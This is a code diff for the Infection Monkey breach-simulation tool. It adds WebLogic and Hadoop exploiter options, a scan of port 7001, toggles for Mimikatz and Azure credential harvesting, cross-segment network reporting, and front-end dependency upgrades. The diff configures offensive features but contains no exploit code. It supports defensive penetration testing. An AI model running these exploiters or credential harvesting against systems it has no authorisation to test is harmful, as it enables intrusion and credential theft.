+PARENT_PATH = os.path.dirname(BASE_PATH)
+
+if PARENT_PATH not in sys.path:
+    sys.path.insert(0, PARENT_PATH)
+
 if BASE_PATH not in sys.path:
     sys.path.insert(0, BASE_PATH)
 

monkey_island/cc/services/config.py

@@ -86,6 +86,20 @@ SCHEMA = {
                         "Struts2Exploiter"
                     ],
                     "title": "Struts2 Exploiter"
+                },
+                {
+                    "type": "string",
+                    "enum": [
+                        "WebLogicExploiter"
+                    ],
+                    "title": "Oracle Web Logic Exploiter"
+                },
+                {
+                    "type": "string",
+                    "enum": [
+                        "HadoopExploiter"
+                    ],
+                    "title": "Hadoop/Yarn Exploiter"
                 }
             ]
         },
@@ -236,6 +250,31 @@ SCHEMA = {
                                 " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
                         }
                     }
+                },
+                "network_analysis": {
+                    "title": "Network Analysis",
+                    "type": "object",
+                    "properties": {
+                        "inaccessible_subnets": {
+                            "title": "Network segmentation testing",
+                            "type": "array",
+                            "uniqueItems": True,
+                            "items": {
+                                "type": "string"
+                            },
+                            "default": [
+                            ],
+                            "description":
+                                "Test for network segmentation by providing a list of"
+                                " subnets that should NOT be accessible to each other."
+                                " For example, given the following configuration:"
+                                " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
+                                " a Monkey running on 10.0.0.5 will try to access machines in the following"
+                                " subnets: 11.0.0.2/32, 12.2.3.0/24."
+                                " An alert on successful connections will be shown in the report"
+                                " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
+                        }
+                    }
                 }
             }
         },
@@ -279,6 +318,31 @@ SCHEMA = {
                         }
                     }
                 },
+                "system_info": {
+                    "title": "System info",
+                    "type": "object",
+                    "properties": {
+                        "extract_azure_creds": {
+                            "title": "Harvest Azure Credentials",
+                            "type": "boolean",
+                            "default": True,
+                            "description":
+                                "Determine if the Monkey should try to harvest password credentials from Azure VMs"
+                        },
+                        "collect_system_info": {
+                            "title": "Collect system info",
+                            "type": "boolean",
+                            "default": True,
+                            "description": "Determines whether to collect system info"
+                        },
+                        "should_use_mimikatz": {
+                            "title": "Should use Mimikatz",
+                            "type": "boolean",
+                            "default": True,
+                            "description": "Determines whether to use Mimikatz"
+                        },
+                    }
+                },
                 "life_cycle": {
                     "title": "Life cycle",
                     "type": "object",
@@ -339,12 +403,6 @@ SCHEMA = {
                             "description":
                                 "The name of the mutex used to determine whether the monkey is already running"
                         },
-                        "collect_system_info": {
-                            "title": "Collect system info",
-                            "type": "boolean",
-                            "default": True,
-                            "description": "Determines whether to collect system info"
-                        },
                         "keep_tunnel_open_time": {
                             "title": "Keep tunnel open time",
                             "type": "integer",
@@ -536,26 +594,6 @@ SCHEMA = {
                             "description": "List of SSH key pairs to use, when trying to ssh into servers"
                         }
                     }
-                },
-                "systemInfo": {
-                    "title": "System collection",
-                    "type": "object",
-                    "properties": {
-                        "mimikatz_dll_name": {
-                            "title": "Mimikatz DLL name",
-                            "type": "string",
-                            "default": "mk.dll",
-                            "description":
-                                "Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
-                        },
-                        "extract_azure_creds": {
-                            "title": "Harvest Azure Credentials",
-                            "type": "boolean",
-                            "default": True,
-                            "description":
-                                "Determine if the Monkey should try to harvest password credentials from Azure VMs"
-                        }
-                    }
                 }
             }
         },
@@ -626,7 +664,9 @@ SCHEMA = {
                                 "ShellShockExploiter",
                                 "SambaCryExploiter",
                                 "ElasticGroovyExploiter",
-                                "Struts2Exploiter"
+                                "Struts2Exploiter",
+                                "WebLogicExploiter",
+                                "HadoopExploiter"
                             ],
                             "description":
                                 "Determines which exploits to use. " + WARNING_SIGN
@@ -761,7 +801,8 @@ SCHEMA = {
                                 80,
                                 8080,
                                 443,
-                                8008
+                                8008,
+                                7001
                             ],
                             "description": "List of ports the monkey will check if are being used for HTTP"
                         },
@@ -783,7 +824,8 @@ SCHEMA = {
                                 443,
                                 8008,
                                 3306,
-                                9200
+                                9200,
+                                7001
                             ],
                             "description": "List of TCP ports the monkey will check whether they're open"
                         },

monkey_island/cc/services/report.py

@@ -1,3 +1,6 @@
+import itertools
+import functools
+
 import ipaddress
 import logging
 from enum import Enum
@@ -10,6 +13,7 @@ from cc.services.edge import EdgeService
 from cc.services.node import NodeService
 from cc.utils import local_ip_addresses, get_subnets
 from pth_report import PTHReportService
+from common.network.network_range import NetworkRange
 
 __author__ = "itay.mizeretz"
 
@@ -31,7 +35,9 @@ class ReportService:
             'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
             'Ms08_067_Exploiter': 'Conficker Exploiter',
             'ShellShockExploiter': 'ShellShock Exploiter',
-            'Struts2Exploiter': 'Struts2 Exploiter'
+            'Struts2Exploiter': 'Struts2 Exploiter',
+            'WebLogicExploiter': 'Oracle WebLogic Exploiter',
+            'HadoopExploiter': 'Hadoop/Yarn Exploiter'
         }
 
     class ISSUES_DICT(Enum):
@@ -44,8 +50,9 @@ class ReportService:
         AZURE = 6
         STOLEN_SSH_KEYS = 7
         STRUTS2 = 8
-        MSSQL_TO_BE = 9
-        PTH_CRIT_SERVICES_ACCESS = 10
+        WEBLOGIC = 9,
+        HADOOP = 10,
+        PTH_CRIT_SERVICES_ACCESS = 11
 
     class WARNINGS_DICT(Enum):
         CROSS_SEGMENT = 0
@@ -310,6 +317,18 @@ class ReportService:
         processed_exploit['type'] = 'struts2'
         return processed_exploit
 
+    @staticmethod
+    def process_weblogic_exploit(exploit):
+        processed_exploit = ReportService.process_general_exploit(exploit)
+        processed_exploit['type'] = 'weblogic'
+        return processed_exploit
+
+    @staticmethod
+    def process_hadoop_exploit(exploit):
+        processed_exploit = ReportService.process_general_exploit(exploit)
+        processed_exploit['type'] = 'hadoop'
+        return processed_exploit
+
     @staticmethod
     def process_exploit(exploit):
         exploiter_type = exploit['data']['exploiter']
@@ -322,7 +341,9 @@ class ReportService:
             'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
             'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
             'ShellShockExploiter': ReportService.process_shellshock_exploit,
-            'Struts2Exploiter': ReportService.process_struts2_exploit
+            'Struts2Exploiter': ReportService.process_struts2_exploit,
+            'WebLogicExploiter': ReportService.process_weblogic_exploit,
+            'HadoopExploiter': ReportService.process_hadoop_exploit
         }
 
         return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@@ -352,7 +373,7 @@ class ReportService:
             ]
 
     @staticmethod
-    def get_cross_segment_issues():
+    def get_island_cross_segment_issues():
         issues = []
         island_ips = local_ip_addresses()
         for monkey in mongo.db.monkey.find({'tunnel': {'$exists': False}}, {'tunnel': 1, 'guid': 1, 'hostname': 1}):
@@ -367,18 +388,160 @@ class ReportService:
                     break
             if not found_good_ip:
                 issues.append(
-                    {'type': 'cross_segment', 'machine': monkey['hostname'],
+                    {'type': 'island_cross_segment', 'machine': monkey['hostname'],
                      'networks': [str(subnet) for subnet in monkey_subnets],
                      'server_networks': [str(subnet) for subnet in get_subnets()]}
                 )
 
         return issues
 
+    @staticmethod
+    def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
+        """
+        Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
+        :param ip_addresses:    List of IP addresses to test.
+        :param source_subnet:   Subnet to want an IP to not be in.
+        :param target_subnet:   Subnet we want an IP to be in.
+        :return:
+        """
+        for ip_address in ip_addresses:
+            if target_subnet.is_in_range(ip_address):
+                return None
+        for ip_address in ip_addresses:
+            if source_subnet.is_in_range(ip_address):
+                return ip_address
+        return None
+
+    @staticmethod
+    def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range):
+        """
+        Gets list of cross segment issues of a single machine. Meaning a machine has an interface for each of the
+        subnets.
+        :param source_subnet_range:   The subnet range which shouldn't be able to access target_subnet.
+        :param target_subnet_range:   The subnet range which shouldn't be accessible from source_subnet.
+        :return:
+        """
+        cross_segment_issues = []
+
+        for monkey in mongo.db.monkey.find({}, {'ip_addresses': 1, 'hostname': 1}):
+            ip_in_src = None
+            ip_in_dst = None
+            for ip_addr in monkey['ip_addresses']:
+                if source_subnet_range.is_in_range(unicode(ip_addr)):
+                    ip_in_src = ip_addr
+                    break
+
+            # No point searching the dst subnet if there are no IPs in src subnet.
+            if not ip_in_src:
+                continue
+
+            for ip_addr in monkey['ip_addresses']:
+                if target_subnet_range.is_in_range(unicode(ip_addr)):
+                    ip_in_dst = ip_addr
+                    break
+
+            if ip_in_dst:
+                cross_segment_issues.append(
+                    {
+                        'source': ip_in_src,
+                        'hostname': monkey['hostname'],
+                        'target': ip_in_dst,
+                        'services': None,
+                        'is_self': True
+                    })
+
+        return cross_segment_issues
+
+    @staticmethod
+    def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet):
+        """
+        Gets list of cross segment issues from source_subnet to target_subnet.
+        :param scans:           List of all scan telemetry entries. Must have monkey_guid, ip_addr and services.
+                                This should be a PyMongo cursor object.
+        :param source_subnet:   The subnet which shouldn't be able to access target_subnet.
+        :param target_subnet:   The subnet which shouldn't be accessible from source_subnet.
+        :return:
+        """
+        if source_subnet == target_subnet:
+            return []
+        source_subnet_range = NetworkRange.get_range_obj(source_subnet)
+        target_subnet_range = NetworkRange.get_range_obj(target_subnet)
+
+        cross_segment_issues = []
+
+        scans.rewind()  # If we iterated over scans already we need to rewind.
+        for scan in scans:
+            target_ip = scan['data']['machine']['ip_addr']
+            if target_subnet_range.is_in_range(unicode(target_ip)):
+                monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
+                cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
+                                                                              source_subnet_range,
+                                                                              target_subnet_range)
+
+                if cross_segment_ip is not None:
+                    cross_segment_issues.append(
+                        {
+                            'source': cross_segment_ip,
+                            'hostname': monkey['hostname'],
+                            'target': target_ip,
+                            'services': scan['data']['machine']['services'],
+                            'is_self': False
+                        })
+
+        return cross_segment_issues + ReportService.get_cross_segment_issues_of_single_machine(
+            source_subnet_range, target_subnet_range)
+
+    @staticmethod
+    def get_cross_segment_issues_per_subnet_group(scans, subnet_group):
+        """
+        Gets list of cross segment issues within given subnet_group.
+        :param scans:           List of all scan telemetry entries. Must have monkey_guid, ip_addr and services.
+                                This should be a PyMongo cursor object.
+        :param subnet_group:    List of subnets which shouldn't be accessible from each other.
+        :return:                Cross segment issues regarding the subnets in the group.
+        """
+        cross_segment_issues = []
+
+        for subnet_pair in itertools.product(subnet_group, subnet_group):
+            source_subnet = subnet_pair[0]
+            target_subnet = subnet_pair[1]
+            pair_issues = ReportService.get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet)
+            if len(pair_issues) != 0:
+                cross_segment_issues.append(
+                    {
+                        'source_subnet': source_subnet,
+                        'target_subnet': target_subnet,
+                        'issues': pair_issues
+                    })
+
+        return cross_segment_issues
+
+    @staticmethod
+    def get_cross_segment_issues():
+        scans = mongo.db.telemetry.find({'telem_type': 'scan'},
+                                        {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1})
+
+        cross_segment_issues = []
+
+        # For now the feature is limited to 1 group.
+        subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])]
+
+        for subnet_group in subnet_groups:
+            cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group)
+
+        return cross_segment_issues
+
     @staticmethod
     def get_issues():
-        issues = ReportService.get_exploits() + ReportService.get_tunnels() +\
-                 ReportService.get_cross_segment_issues() + ReportService.get_azure_issues() + \
-                 PTHReportService.get_report().get('report_info').get('pth_issues', [])
+        ISSUE_GENERATORS = [
+            ReportService.get_exploits,
+            ReportService.get_tunnels,
+            ReportService.get_island_cross_segment_issues,
+            ReportService.get_azure_issues
+        ]
+        #TODO: PTHReportService.get_report().get('report_info').get('pth_issues', [])
+        issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, [])
+
         issues_dict = {}
         for issue in issues:
             machine = issue.get('machine', '').upper()
@@ -443,23 +606,27 @@ class ReportService:
                     issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
                 elif issue['type'] == 'struts2':
                     issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
-                elif issue['type'] == 'strong_users_on_crit':
-                    issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True
-                elif issue['type'].endswith('_password') and issue.get('password', None) in config_passwords and \
+                elif issue['type'] == 'weblogic':
+                    issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True
+                elif issue['type'] == 'hadoop':
+                    issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
+                elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
                         issue['username'] in config_users or issue['type'] == 'ssh':
                     issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
+                elif issue['type'] == 'strong_users_on_crit':
+                    issues_byte_array[ReportService.ISSUES_DICT.PTH_CRIT_SERVICES_ACCESS.value] = True
                 elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
                     issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
 
         return issues_byte_array
 
     @staticmethod
-    def get_warnings_overview(issues):
+    def get_warnings_overview(issues, cross_segment_issues):
         warnings_byte_array = [False] * len(ReportService.WARNINGS_DICT)
 
         for machine in issues:
             for issue in issues[machine]:
-                if issue['type'] == 'cross_segment':
+                if issue['type'] == 'island_cross_segment':
                     warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
                 elif issue['type'] == 'tunnel':
                     warnings_byte_array[ReportService.WARNINGS_DICT.TUNNEL.value] = True
@@ -468,6 +635,9 @@ class ReportService:
                 elif issue['type'] == 'shared_passwords':
                     warnings_byte_array[ReportService.WARNINGS_DICT.SHARED_PASSWORDS.value] = True
 
+        if len(cross_segment_issues) != 0:
+            warnings_byte_array[ReportService.WARNINGS_DICT.CROSS_SEGMENT.value] = True
+
         return warnings_byte_array
 
     @staticmethod
@@ -490,6 +660,7 @@ class ReportService:
         issues = ReportService.get_issues()
         config_users = ReportService.get_config_users()
         config_passwords = ReportService.get_config_passwords()
+        cross_segment_issues = ReportService.get_cross_segment_issues()
         pth_report = PTHReportService.get_report()
 
 
@@ -506,7 +677,8 @@ class ReportService:
                         'monkey_start_time': ReportService.get_first_monkey_time().strftime("%d/%m/%Y %H:%M:%S"),
                         'monkey_duration': ReportService.get_monkey_duration(),
                         'issues': ReportService.get_issues_overview(issues, config_users, config_passwords),
-                        'warnings': ReportService.get_warnings_overview(issues)
+                        'warnings': ReportService.get_warnings_overview(issues, cross_segment_issues),
+                        'cross_segment_issues': cross_segment_issues
                     },
                 'glance':
                     {

monkey_island/cc/ui/.babelrc

@@ -1,7 +1,4 @@
 {
-  "presets": [
-    "es2015",
-    "stage-0",
-    "react"
-  ]
+  "presets": ["es2015", "stage-0", "react"]
+
 }

monkey_island/cc/ui/cfg/base.js

@@ -1,43 +0,0 @@
-'use strict';
-let path = require('path');
-let defaultSettings = require('./defaults');
-
-// Additional npm or bower modules to include in builds
-// Add all foreign plugins you may need into this array
-// @example:
-// let npmBase = path.join(__dirname, '../node_modules');
-// let additionalPaths = [ path.join(npmBase, 'react-bootstrap') ];
-let additionalPaths = [];
-
-module.exports = {
-  additionalPaths: additionalPaths,
-  port: defaultSettings.port,
-  debug: true,
-  devtool: 'eval',
-  output: {
-    path: path.join(__dirname, '/../dist/assets'),
-    filename: 'app.js',
-    publicPath: defaultSettings.publicPath
-  },
-  devServer: {
-    contentBase: './src/',
-    historyApiFallback: true,
-    hot: true,
-    port: defaultSettings.port,
-    publicPath: defaultSettings.publicPath,
-    noInfo: false
-  },
-  resolve: {
-    extensions: ['', '.js', '.jsx'],
-    alias: {
-      actions: `${defaultSettings.srcPath}/actions/`,
-      components: `${defaultSettings.srcPath}/components/`,
-      sources: `${defaultSettings.srcPath}/sources/`,
-      stores: `${defaultSettings.srcPath}/stores/`,
-      styles: `${defaultSettings.srcPath}/styles/`,
-      config: `${defaultSettings.srcPath}/config/` + process.env.REACT_WEBPACK_ENV,
-      'react/lib/ReactMount': 'react-dom/lib/ReactMount'
-    }
-  },
-  module: {}
-};

monkey_island/cc/ui/cfg/defaults.js

@@ -1,68 +0,0 @@
-/**
- * Function that returns default values.
- * Used because Object.assign does a shallow instead of a deep copy.
- * Using [].push will add to the base array, so a require will alter
- * the base array output.
- */
-'use strict';
-
-const path = require('path');
-const srcPath = path.join(__dirname, '/../src');
-const dfltPort = 8000;
-
-/**
- * Get the default modules object for webpack
- * @return {Object}
- */
-function getDefaultModules() {
-  return {
-    preLoaders: [
-      {
-        test: /\.(js|jsx)$/,
-        include: srcPath,
-        loader: 'eslint-loader'
-      }
-    ],
-    loaders: [
-      {
-        test: /\.css$/,
-        loader: 'style-loader!css-loader'
-      },
-      {
-        test: /\.sass/,
-        loader: 'style-loader!css-loader!sass-loader?outputStyle=expanded&indentedSyntax'
-      },
-      {
-        test: /\.scss/,
-        loader: 'style-loader!css-loader!sass-loader?outputStyle=expanded'
-      },
-      {
-        test: /\.less/,
-        loader: 'style-loader!css-loader!less-loader'
-      },
-      {
-        test: /\.styl/,
-        loader: 'style-loader!css-loader!stylus-loader'
-      },
-      {
-        test: /\.(png|jpg|gif)$/,
-        loader: 'url-loader?limit=8192'
-      },
-      {
-        test: /\.woff(2)?(\?v=[0-9]\.[0-9]\.[0-9])?$/,
-        loader: 'url-loader?limit=10000&mimetype=application/font-woff'
-      },
-      {
-        test: /\.(ttf|eot|svg)(\?v=[0-9]\.[0-9]\.[0-9])?$/,
-        loader: 'file-loader'
-      }
-    ]
-  };
-}
-
-module.exports = {
-  srcPath: srcPath,
-  publicPath: '/assets/',
-  port: dfltPort,
-  getDefaultModules: getDefaultModules
-};

monkey_island/cc/ui/cfg/dev.js

@@ -1,47 +0,0 @@
-'use strict';
-
-let path = require('path');
-let webpack = require('webpack');
-let baseConfig = require('./base');
-let defaultSettings = require('./defaults');
-
-// Add needed plugins here
-let BowerWebpackPlugin = require('bower-webpack-plugin');
-
-let config = Object.assign({}, baseConfig, {
-  entry: [
-    'webpack-dev-server/client?http://127.0.0.1:' + defaultSettings.port,
-    'webpack/hot/only-dev-server',
-    './src/index'
-  ],
-  cache: true,
-  devtool: 'eval-source-map',
-  plugins: [
-    new webpack.HotModuleReplacementPlugin(),
-    new webpack.NoErrorsPlugin(),
-    new BowerWebpackPlugin({
-      searchResolveModulesDirectories: false
-    })
-  ],
-  module: defaultSettings.getDefaultModules()
-});
-
-// Add needed loaders to the defaults here
-config.module.loaders.push({
-  test: /\.(js|jsx)$/,
-  loader: 'react-hot!babel-loader',
-  include: [].concat(
-    config.additionalPaths,
-    [ path.join(__dirname, '/../src') ]
-  )
-});
-
-// proxy to backend server
-config.devServer.proxy = {
-  '/api': {
-    target: 'https://localhost:5000',
-    secure: false
-  }
-};
-
-module.exports = config;

monkey_island/cc/ui/cfg/dist.js

@@ -1,42 +0,0 @@
-'use strict';
-
-let path = require('path');
-let webpack = require('webpack');
-
-let baseConfig = require('./base');
-let defaultSettings = require('./defaults');
-
-// Add needed plugins here
-let BowerWebpackPlugin = require('bower-webpack-plugin');
-
-let config = Object.assign({}, baseConfig, {
-  entry: path.join(__dirname, '../src/index'),
-  cache: false,
-  devtool: 'sourcemap',
-  plugins: [
-    new webpack.optimize.DedupePlugin(),
-    new webpack.DefinePlugin({
-      'process.env.NODE_ENV': '"production"'
-    }),
-    new BowerWebpackPlugin({
-      searchResolveModulesDirectories: false
-    }),
-    new webpack.optimize.UglifyJsPlugin(),
-    new webpack.optimize.OccurenceOrderPlugin(),
-    new webpack.optimize.AggressiveMergingPlugin(),
-    new webpack.NoErrorsPlugin()
-  ],
-  module: defaultSettings.getDefaultModules()
-});
-
-// Add needed loaders to the defaults here
-config.module.loaders.push({
-  test: /\.(js|jsx)$/,
-  loader: 'babel',
-  include: [].concat(
-    config.additionalPaths,
-    [ path.join(__dirname, '/../src') ]
-  )
-});
-
-module.exports = config;

monkey_island/cc/ui/cfg/test.js

@@ -1,51 +0,0 @@
-'use strict';
-
-let path = require('path');
-let srcPath = path.join(__dirname, '/../src/');
-
-let baseConfig = require('./base');
-
-// Add needed plugins here
-let BowerWebpackPlugin = require('bower-webpack-plugin');
-
-module.exports = {
-  devtool: 'eval',
-  module: {
-    preLoaders: [
-    ],
-    loaders: [
-      {
-        test: /\.(png|jpg|gif|woff|woff2|css|sass|scss|less|styl)$/,
-        loader: 'null-loader'
-      },
-      {
-        test: /\.(js|jsx)$/,
-        loader: 'babel-loader',
-        include: [].concat(
-          baseConfig.additionalPaths,
-          [
-            path.join(__dirname, '/../src'),
-            path.join(__dirname, '/../test')
-          ]
-        )
-      }
-    ]
-  },
-  resolve: {
-    extensions: [ '', '.js', '.jsx' ],
-    alias: {
-      actions: srcPath + 'actions/',
-      helpers: path.join(__dirname, '/../test/helpers'),
-      components: srcPath + 'components/',
-      sources: srcPath + 'sources/',
-      stores: srcPath + 'stores/',
-      styles: srcPath + 'styles/',
-      config: srcPath + 'config/' + process.env.REACT_WEBPACK_ENV
-    }
-  },
-  plugins: [
-    new BowerWebpackPlugin({
-      searchResolveModulesDirectories: false
-    })
-  ]
-};

monkey_island/cc/ui/package.json

@@ -2,11 +2,10 @@
   "private": true,
   "version": "1.0.0",
   "description": "Infection Monkey C&C UI",
-  "main": "",
   "scripts": {
     "clean": "rimraf dist/*",
     "copy": "copyfiles -f ./src/index.html ./src/favicon.ico ./dist",
-    "dist": "npm run copy & webpack --env=dist",
+    "dist": "webpack --mode production",
     "lint": "eslint ./src",
     "posttest": "npm run lint",
     "release:major": "npm version major && npm publish && git push --follow-tags",
@@ -14,7 +13,7 @@
     "release:patch": "npm version patch && npm publish && git push --follow-tags",
     "serve": "node server.js --env=dev",
     "serve:dist": "node server.js --env=dist",
-    "start": "node server.js --env=dev",
+    "start": "webpack-dev-server --mode development --open --history-api-fallback --port 8000",
     "test": "karma start",
     "test:watch": "karma start --autoWatch=true --singleRun=false"
   },
@@ -22,71 +21,75 @@
   "keywords": [],
   "author": "Guardicore",
   "devDependencies": {
-    "babel-core": "^6.26.0",
-    "babel-eslint": "^6.0.0",
-    "babel-loader": "^6.4.1",
+    "babel-cli": "^6.26.0",
+    "babel-core": "^6.26.3",
+    "babel-eslint": "^8.2.6",
+    "babel-loader": "^7.1.5",
     "babel-polyfill": "^6.26.0",
+    "babel-preset-env": "^1.7.0",
     "babel-preset-es2015": "^6.24.1",
     "babel-preset-react": "^6.24.1",
     "babel-preset-stage-0": "^6.5.0",
     "bower-webpack-plugin": "^0.1.9",
-    "chai": "^3.2.0",
-    "copyfiles": "^1.0.0",
-    "css-loader": "^0.23.1",
-    "eslint": "^3.0.0",
-    "eslint-loader": "^1.0.0",
-    "eslint-plugin-react": "^6.0.0",
-    "file-loader": "^0.9.0",
+    "chai": "^4.1.2",
+    "copyfiles": "^2.0.0",
+    "css-loader": "^1.0.0",
+    "eslint": "^5.3.0",
+    "eslint-loader": "^2.1.0",
+    "eslint-plugin-react": "^7.11.1",
+    "file-loader": "^1.1.11",
     "glob": "^7.0.0",
-    "karma": "^1.7.1",
+    "html-loader": "^0.5.5",
+    "html-webpack-plugin": "^3.2.0",
+    "karma": "^3.0.0",
     "karma-chai": "^0.1.0",
-    "karma-coverage": "^1.0.0",
+    "karma-coverage": "^1.1.2",
     "karma-mocha": "^1.0.0",
     "karma-mocha-reporter": "^2.2.5",
     "karma-phantomjs-launcher": "^1.0.0",
     "karma-sourcemap-loader": "^0.3.5",
-    "karma-webpack": "^1.7.0",
+    "karma-webpack": "^3.0.0",
     "minimist": "^1.2.0",
     "mocha": "^5.2.0",
     "null-loader": "^0.1.1",
     "open": "0.0.5",
     "phantomjs-prebuilt": "^2.1.16",
     "react-addons-test-utils": "^15.6.2",
-    "react-hot-loader": "^1.2.9",
+    "react-hot-loader": "^4.3.4",
     "rimraf": "^2.6.2",
-    "style-loader": "^0.13.2",
-    "url-loader": "^0.5.9",
-    "webpack": "^1.15.0",
-    "webpack-dev-server": "^1.12.0"
+    "style-loader": "^0.22.1",
+    "url-loader": "^1.1.0",
+    "webpack": "^4.16.5",
+    "webpack-cli": "^3.1.0",
+    "webpack-dev-server": "^3.1.5"
   },
   "dependencies": {
-    "bootstrap": "^3.3.7",
-    "core-js": "^2.5.5",
+    "bootstrap": "3.3.7",
+    "core-js": "^2.5.7",
     "downloadjs": "^1.4.7",
     "fetch": "^1.1.0",
     "js-file-download": "^0.4.1",
     "json-loader": "^0.5.7",
     "jwt-decode": "^2.2.0",
-    "moment": "^2.22.1",
-    "normalize.css": "^4.0.0",
-    "npm": "^5.8.0",
-    "prop-types": "^15.6.1",
+    "moment": "^2.22.2",
+    "normalize.css": "^8.0.0",
+    "npm": "^6.3.0",
+    "prop-types": "^15.6.2",
     "rc-progress": "^2.2.5",
-    "react": "^15.6.2",
-    "react-bootstrap": "^0.31.5",
+    "react": "^16.4.2",
+    "react-bootstrap": "^0.32.1",
     "react-copy-to-clipboard": "^5.0.1",
     "react-data-components": "^1.2.0",
     "react-dimensions": "^1.3.0",
-    "react-dom": "^15.6.2",
-    "react-fa": "^4.2.0",
-    "react-graph-vis": "^0.1.4",
-    "react-json-tree": "^0.10.9",
-    "react-jsonschema-form": "^0.50.1",
-    "react-modal-dialog": "^4.0.7",
+    "react-dom": "^16.4.2",
+    "react-fa": "^5.0.0",
+    "react-graph-vis": "^1.0.2",
+    "react-json-tree": "^0.11.0",
+    "react-jsonschema-form": "^1.0.4",
     "react-redux": "^5.0.7",
-    "react-router-dom": "^4.2.2",
-    "react-table": "^6.7.4",
+    "react-router-dom": "^4.3.1",
+    "react-table": "^6.8.6",
     "react-toggle": "^4.0.1",
-    "redux": "^3.7.2"
+    "redux": "^4.0.0"
   }
 }

monkey_island/cc/ui/src/components/Main.js

@@ -15,11 +15,11 @@ import LicensePage from 'components/pages/LicensePage';
 import AuthComponent from 'components/AuthComponent';
 import LoginPageComponent from 'components/pages/LoginPage';
 
-require('normalize.css/normalize.css');
-require('react-data-components/css/table-twbs.css');
-require('styles/App.css');
-require('react-toggle/style.css');
-require('react-table/react-table.css');
+import 'normalize.css/normalize.css';
+import 'react-data-components/css/table-twbs.css';
+import 'styles/App.css';
+import 'react-toggle/style.css';
+import 'react-table/react-table.css';
 
 let logoImage = require('../images/monkey-icon.svg');
 let infectionMonkeyImage = require('../images/infection-monkey.svg');

monkey_island/cc/ui/src/components/map/MapOptions.js

@@ -13,6 +13,7 @@ let getGroupsOptions = () => {
         image: require('../../images/nodes/' + groupName + '.png')
       };
   }
+
   return groupOptions;
 };
 

monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js

@@ -15,25 +15,259 @@ class PreviewPaneComponent extends AuthComponent {
     );
   }
 
-  // This should be overridden
-  getInfoByProps() {
-    return null;
+  osRow(asset) {
+    return (
+      <tr>
+        <th>Operating System</th>
+        <td>{asset.os.charAt(0).toUpperCase() + asset.os.slice(1)}</td>
+      </tr>
+    );
   }
 
-  getLabelByProps() {
-    if (!this.props.item) {
-      return '';
-    } else if (this.props.item.hasOwnProperty('label')) {
-      return this.props.item['label'];
-    } else if (this.props.item.hasOwnProperty('_label')) {
-      return this.props.item['_label'];
+  ipsRow(asset) {
+    return (
+      <tr>
+        <th>IP Addresses</th>
+        <td>{asset.ip_addresses.map(val => <div key={val}>{val}</div>)}</td>
+      </tr>
+    );
+  }
+
+  servicesRow(asset) {
+    return (
+      <tr>
+        <th>Services</th>
+        <td>{asset.services.map(val => <div key={val}>{val}</div>)}</td>
+      </tr>
+    );
+  }
+
+  accessibleRow(asset) {
+    return (
+      <tr>
+        <th>
+          Accessible From&nbsp;
+          {this.generateToolTip('List of machine which can access this one using a network protocol')}
+        </th>
+        <td>{asset.accessible_from_nodes.map(val => <div key={val}>{val}</div>)}</td>
+      </tr>
+    );
+  }
+
+  statusRow(asset) {
+    return (
+      <tr>
+        <th>Status</th>
+        <td>{(asset.dead) ? 'Dead' : 'Alive'}</td>
+      </tr>
+    );
+  }
+
+  forceKill(event, asset) {
+    let newConfig = asset.config;
+    newConfig['alive'] = !event.target.checked;
+    this.authFetch('/api/monkey/' + asset.guid,
+      {
+        method: 'PATCH',
+        headers: {'Content-Type': 'application/json'},
+        body: JSON.stringify({config: newConfig})
+      });
+  }
+
+  forceKillRow(asset) {
+    return (
+      <tr>
+        <th>
+          Force Kill&nbsp;
+          {this.generateToolTip('If this is on, monkey will die next time it communicates')}
+        </th>
+        <td>
+          <Toggle id={asset.id} checked={!asset.config.alive} icons={false} disabled={asset.dead}
+                  onChange={(e) => this.forceKill(e, asset)}/>
+
+        </td>
+      </tr>
+    );
+  }
+
+  unescapeLog(st) {
+    return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string.
+        .replace(/\\n/g, "\n")
+        .replace(/\\r/g, "\r")
+        .replace(/\\t/g, "\t")
+        .replace(/\\b/g, "\b")
+        .replace(/\\f/g, "\f")
+        .replace(/\\"/g, '\"')
+        .replace(/\\'/g, "\'")
+        .replace(/\\&/g, "\&");
+  }
+
+  downloadLog(asset) {
+    this.authFetch('/api/log?id=' + asset.id)
+      .then(res => res.json())
+      .then(res => {
+        let timestamp = res['timestamp'];
+        timestamp = timestamp.substr(0, timestamp.indexOf('.'));
+        let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log';
+        let logContent = this.unescapeLog(res['log']);
+        download(logContent, filename, 'text/plain');
+      });
+
+  }
+
+  downloadLogRow(asset) {
+    return (
